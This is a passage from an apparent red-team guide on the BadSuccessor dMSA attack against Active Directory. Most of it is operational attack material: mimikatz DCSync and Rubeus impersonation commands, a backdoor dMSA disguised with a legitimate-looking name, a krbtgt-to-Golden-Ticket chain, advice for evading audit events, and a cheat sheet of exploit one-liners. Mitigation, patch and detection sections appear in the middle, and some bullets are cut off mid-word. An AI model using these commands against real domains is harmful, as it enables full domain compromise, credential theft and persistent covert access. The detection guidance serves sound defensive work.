PsExec.exe \\DC01.corp.local -accepteula cmd.exe

# Alternative: mimikatz DCSync using the dMSA TGT
mimikatz.exe
sekurlsa::pth /user:svc_backup_dmsa$ /domain:corp.local /ntlm:fc525c9683e8fe06
lsadump::dcsync /domain:corp.local /all /csv
```



```
Administrator: C:\Windows\System32\cmd.exe — Rubeus S4U dMSA

C:\Tools> # S4U2self with dMSA credentials — impersonate Administrator
C:\Tools> Rubeus.exe s4u /user:svc_backup_dmsa$ /rc4:8f2a3b4c5d6e7f8a \
    /impersonateuser:Administrator /msdsspn:cifs/DC01.corp.local /ptt

[*] Action: S4U
[*] Using rc4_hmac hash: 8f2a3b4c5d6e7f8a...
[*] Building AS-REQ for svc_backup_dmsa$
[+] TGT request successful!
[*] Performing S4U2self...
[+] S4U2self success!
[*] Performing S4U2proxy...
[*] Impersonating: Administrator
[+] S4U2proxy success! Ticket for: cifs/DC01.corp.local
[+] Ticket imported into memory!

C:\Tools> dir \\DC01.corp.local\C$

Volume in drive \\DC01.corp.local\C$ has no label.
Directory of \\DC01.corp.local\C$

12/01/2024  <DIR>  Windows
12/01/2024  <DIR>  Users
12/01/2024  <DIR>  NTDS  + DC filesystem access!

C:\Tools> _
```

Figure: Rubeus S4U with dMSA hash — Administrator impersonation, DC filesystem access confirmed

15 — PERSISTENCE VIA DMSA: LONG-TERM BACKDOOR

Surviving Password Resets & Incident Response

A dMSA configured with a predecessor link is a persistent backdoor. Even if the predecessor account's password is reset, the KDC will re-sync the new credentials into the dMSA at the next sync cycle. As long as the dMSA predecessor link persists and the attacker retains write access, they can recover fresh credentials at any time.

\$ Persistence via dMSA

```
# Create a NEW dMSA for persistence (if you have CreateChild on the OU)
New-ADObject -Name 'svc_legitimate_looking' \
  -Type 'msDS-DelegatedManagedServiceAccount' \
  -Path 'CN=ManagedServiceAccounts,DC=corp,DC=local'

# Immediately set predecessor to DA account
Set-ADObject 'CN=svc_legitimate_looking,...' -Replace @{
  'msDS-ManagedAccountPrecededByLink' = 'CN=Administrator,CN=Users,DC=corp,DC=local'
  'msDS-DelegatedMSAState'           = 2
}

# After DA password is reset during IR:
# Wait for KDC sync (minutes) → retrieve new credentials
python3 badsuccessor.py -action get-hash \
  -u jsmith -p 'Welcome1!' -d corp.local -dc-ip 192.168.10.5 \
  -dmsa svc_legitimate_looking

# [+] NT Hash (new Administrator password, post-reset): <NEW_HASH>

# Defence: Check for unexpected dMSA predecessor links
Get-ADObject -Filter {ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} \
  -Properties msDS-ManagedAccountPrecededByLink |
  Where {$_. 'msDS-ManagedAccountPrecededByLink' -ne $null}
```

RTG OPSEC

Create backdoor dMSA with a name that blends into existing service account naming convention.

Grant yourself read on msDS-ManagedPassword via DACL modification — subtle, hard to audit.

The dMSA stays active even if svc_backup_dmsa is disabled — predecessor link persists.



16 — COMBINING BADSUCCESSOR WITH OTHER TECHNIQUES

Building Attack Chains

Technique	How BadSuccessor Helps	Combined Attack
Kerberoasting	Get DA hash → add SPN to any account	Instant kerberoast then crack
PassTheCert	Get DA hash → request DA cert via PKINIT	Certificate-based persistence
DCSync	Get krbtgt hash → DCSync everything	Full credential harvest
Golden Ticket	Get krbtgt hash directly	Unrevocable 10-year domain access
RBCD	Get DA hash → set RBCD via LDAPS	Code exec as any user on any machine
Shadow Credentials	Get DA cert → add shadow creds	Cert-based backdoor on DA account
BloodHound path	Find shortest write path to any dmsa	Map best target in seconds

\$ BadSuccessor → Golden Ticket Chain

```
# BadSuccessor → Golden Ticket (full domain persistence)

# Step 1: Set predecessor to krbtgt
python3 badsuccessor.py -action exploit -dmsa svc_backup_dmsa \
    -predecessor 'CN=krbtgt,CN=Users,DC=corp,DC=local' ...

# Step 2: Retrieve krbtgt NT hash
KRBtgt_HASH=$(python3 badsuccessor.py -action get-hash -dmsa svc_backup_dmsa ...)

# Step 3: Get domain SID
DOMAIN_SID=$(impacket-getPac corp.local/jsmith:'Welcome1!' | grep 'Domain SID')

# Step 4: Forge Golden Ticket (valid 10 years)
impacket-ticketer -nthash $KRBtgt_HASH \
    -domain-sid $DOMAIN_SID -domain corp.local \
    -duration 3650 Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass Administrator@DC01.corp.local

# Full domain access – PERMANENTLY
```

17 — MITIGATION: PATCHES & CONFIGURATION HARDENING

Defending Against BadSuccessor

Vendor Patch

Microsoft released a patch addressing BadSuccessor. Apply all Windows Server 2025 cumulative updates immediately. The patch adds authorisation checks to the KDC's dMSA credential inheritance logic — verifying that the account setting the predecessor link has rights over the referenced predecessor account.

\$ Patch Verification

```
# Verify Windows Server 2025 patch level
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

# Check if May 2025 CU is installed (contains BadSuccessor fix)
Get-HotFix | Where-Object {$_.HotFixID -like 'KB5058919' -or $_.HotFixID -like 'KB5058920'}

# Apply latest CU via Windows Update
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll -AutoReboot
```

Configuration Hardening (Defence in Depth)

- ◆ Audit ALL ACLs on dMSA objects — no non-admin accounts should have GenericWrite.
- ◆ Restrict CreateChild on ManagedServiceAccounts OU to Domain Admins only.
- ◆ Enable Advanced Audit Policy: 'Directory Service Changes' on all DCs.
- ◆ Alert on Event 5136 where attribute = msDS-ManagedAccountPrecededByLink.
- ◆ Restrict msDS-ManagedPassword read access to dMSA-authorised hosts only.
- ◆ Audit msDS-DelegatedMSAState changes — should only ever be set by DA accounts.
- ◆ If dMSA is not in use, disable the feature at the forest functional level.
- ◆ Implement privileged access workstations (PAW) to reduce write-path exposure.



18 — DETECTION: EVENT IDS & BEHAVIOURAL INDICATORS

How to Catch BadSuccessor in Your Environment

Event ID	Source	Trigger	Priority
5136	Security (DC)	msDS-ManagedAccountPrecededByLink modified	CRITICAL
5136	Security (DC)	msDS-DelegatedMSAState modified to 2	CRITICAL
4662	Security (DC)	msDS-ManagedPassword attribute read	HIGH
4738	Security (DC)	dMSA account attributes changed	MEDIUM
5137	Security (DC)	New dMSA object created unexpectedly	HIGH
4769	Security (DC)	TGS requested for dMSA account (KDC sync trigger)	MEDIUM

Detection Queries

\$ Detection Queries

```
# PowerShell: Alert on dMSA predecessor changes (Event 5136)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=5136} |
  Where-Object {
    $_.Properties[8].Value -like '*ManagedAccountPrecededByLink*' -or
    $_.Properties[8].Value -like '*DelegatedMSAState*'
  } | Select-Object TimeCreated,
  @{N='Actor';E={$_.Properties[3].Value}},
  @{N='Object';E={$_.Properties[6].Value}},
  @{N='Attribute';E={$_.Properties[8].Value}},
  @{N='NewValue';E={$_.Properties[12].Value}} |
  Format-List

# Splunk: Detect dMSA predecessor modification
index=wineventlog EventCode=5136
ObjectDN=*ManagedServiceAccounts*
AttributeLDAPDisplayName=msDS-ManagedAccountPrecededByLink
| table _time, SubjectUserName, ObjectDN, AttributeValue
| sort -_time

# KQL (Sentinel): Alert on msDS-DelegatedMSAState set to 2
SecurityEvent | where EventID == 5136
| where AttributeLDAPDisplayName == 'msDS-DelegatedMSAState'
| where AttributeValue == '2'
| project TimeGenerated, Account, ObjectName
```

```
Administrator: Windows PowerShell — Event ID 5136 Detection

PS C:\> # Detect BadSuccessor — check for dmsa predecessor modifications
PS C:\> Get-WinEvent -FilterHashtable @{
    LogName='Security'; Id=5136
} | Where-Object {
    $_.Properties[8].Value -like '*ManagedAccountPrecededByLink*'
} | Select-Object TimeCreated, Message | Format-List

TimeCreated : 12/1/2024 14:28:33
Message      : A directory service object was modified.
               Object: CN=svc_backup_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local
               Attribute: msDS-ManagedAccountPrecededByLink
               Operator: %%14674 (Value Added)
               Value: CN=krbtgt,CN=Users,DC=corp,DC=local
               Subject Account: CORP\jsmith

[!] ALERT: Unauthorized dmsa predecessor modification detected!
[!] Actor: jsmith | Target: svc_backup_dmsa | New Predecessor: krbtgt

PS C:\> _
```

Figure: Event 5136 — msDS-ManagedAccountPrecededByLink modification by jsmith detected

19 — EVASION & OPSEC CONSIDERATIONS

Minimising Detection Footprint

- ◆ Use an account that already has legitimate write access to the dMSA — no additional ACL c
- ◆ Modify attributes one at a time with delays — burst LDAP writes can trigger anomaly detec
- ◆ Wait for organic KDC sync rather than force-triggering auth for the dMSA account.
- ◆ Read msDS-ManagedPassword from a host that legitimately reads it (e.g., service host) to
- ◆ Create a new dMSA only if you have CreateChild rights — avoid ACL changes which generate
- ◆ If cleaning up: restore msDS-DelegatedMSAState to 0 and clear predecessor link after extr
- ◆ Use certificate-based authentication (PassTheCert) for the LDAP write — avoids NTLM event
- ◆ Operate during business hours — LDAP writes during off-hours in a quiet environment stand

RTG OPSEC

The two critical events are 5136 for predecessor link write and 4662 for password blob read.

If AD auditing is not enabled for dMSA attributes, BOTH events will be invisible to defenders.

Check audit policy before proceeding: `auditpol /get /subcategory:'Directory Service Changes'`



20 — QUICK REFERENCE CHEAT SHEET

BadSuccessor Field Operations Reference

Check Forest Level (PS)	Get-ADForest Select-Object ForestMode
Check dMSA Feature (PS)	Get-ADOptionalFeature -Filter 'name -like "*delegated*"'
List dMSA Objects (PS)	Get-ADObject -Filter '{ObjectClass -eq 'msDS-DelegatedManagedServiceAccount'} -Properties *
List dMSA Objects (Linux)	Ideep Idap ... --filter '(objectClass=msDS-DelegatedManagedServiceAccount)'
Check ACL on dMSA (PS)	Get-Acl 'AD:\CN=svc_dmsa,CN=ManagedServiceAccounts,DC=corp,DC=local' Select -Expand Access
Enum + check perms	python3 badsuccessor.py -action check-perms -u USER -p PASS -d DOM -dc-ip DC
Set predecessor (Linux)	python3 badsuccessor.py -action exploit -dmsa DMSA_CN -predecessor TARGET_DN ...
Set predecessor (PS)	Set-ADObject DMSA_DN -Replace @{'msDS-ManagedAccountPrecededByLink'=TARGET;'msDS-DelegatedMSAState'=2}
Verify predecessor set	python3 badsuccessor.py -action verify -dmsa DMSA_NAME ...
Retrieve NT hash	python3 badsuccessor.py -action get-hash -dmsa DMSA_NAME ...
Read blob (PS)	\$obj = Get-ADObject DMSA_DN -Properties msDS-ManagedPassword; \$obj.'msDS-ManagedPassword'
DCSync with recovered hash	impacket-secretsdump DOM/USER@DC -hashes LM:NT -just-dc-ntlm
PSEXec with DA hash	impacket-psexec DOM/Administrator@DC -hashes LM:NT
Rubeus S4U (Windows)	Rubeus.exe s4u /user:dmsa\$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/DC /ptt
Golden Ticket (krbtgt hash)	impacket-ticketer -nthash KRBtgt_HASH -domain-sid SID -domain DOM -duration 3650 Administrator
Detect via Event 5136 (PS)	Get-WinEvent -FilterHashtable @{LogName='Security';Id=5136} Where {\$_.Properties[8].Value -like '*PrecededByLink*'}
Check audit policy	auditpol /get /subcategory:'Directory Service Changes'
Patch check (PS)	Get-HotFix Sort-Object InstalledOn -Desc Select -First 5

**Cleanup predecessor link**

Set-ADObject DMSA_DN -Replace @{'msDS-DelegatedMSAState'=0} -Clear
msDS-ManagedAccountPrecededByLink



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Democratize offensive security education — free, practical, no-nonsense.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.